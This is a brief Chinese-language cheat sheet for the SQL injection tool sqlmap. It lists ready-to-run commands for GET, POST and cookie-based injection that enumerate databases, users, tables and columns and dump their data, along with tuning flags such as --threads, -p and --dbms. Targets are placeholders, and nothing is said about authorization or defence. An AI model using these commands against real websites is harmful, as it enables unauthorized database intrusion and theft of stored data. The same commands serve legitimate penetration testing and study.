注入基本上可分为以下三种:
1.get类:sqlmap -u "http://xxx?x=xx"
2.post类: sqlmap -r "xxx.txt"
3.cookie类: sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2
一 get类
1,枚举数据库:sqlmap -u "http://xxx?x=xx" --dbs
2,获取当前数据库:sqlmap -u "http://xxx?x=xx" --current-db
3,获取当前用户名:sqlmap -u "http://xxx?x=xx" --current-user
4,枚举表: sqlmap -u "http://xxx?x=xx" -D "库名" --tables
5,枚举字段:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --columns
6,数据dump:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --dump
或者dump指定列:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" -C "xx,yy,zz" --dump
二 post类
一般来说,要进行post注入,首先要用burpsuite等工具将要注入的post表单提取出来保存在一个txt文档中,然后开始注入
枚举数据库:sqlmap -r "xxx.txt" --dbs
(PS:其他和get型一样)
三 cookie类
因为默认情况下sqlmap只支持get/post参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,因此要进行cookie注入,直接在后面加上 --level 2 即可
枚举数据库:sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2 --dbs
四 其他一些常用的参数
--threads 多线程,可以让sqlmap跑得更快
eg: sqlmap -u "http://xxx?x=xx" --threads 10 --dbs
-p 手动指定注入参数
eg: sqlmap -u "http://xxx?x=xx" -p "id" --threads 10 --dbs
--dbms 指定注入的数据库管理系统,当已知目标的数据库管理系统时使用
eg: sqlmap -u "http://xxx?x=xx" -p "id" --dbms "MYSQL" --threads 10 --dbs